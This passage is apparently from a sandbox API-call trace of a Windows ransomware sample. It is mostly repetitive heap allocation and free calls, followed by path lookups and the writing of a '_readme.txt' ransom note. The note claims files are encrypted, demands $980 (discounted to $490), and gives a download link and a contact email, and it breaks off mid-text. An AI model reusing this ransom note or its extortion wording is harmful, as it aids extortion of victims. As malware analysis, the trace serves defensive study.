hHeap=0x35b0000) returned 1 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.182] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.182] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.183] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.183] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.184] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.184] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.185] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.185] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.186] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.186] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.187] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.187] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.188] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.188] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.189] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.189] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0117.189] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.189] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.189] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.189] PathFindFileNameW (pszPath="") returned="" [0117.190] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.190] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.190] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.190] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.190] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.190] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.190] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.190] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0117.190] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0117.190] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact 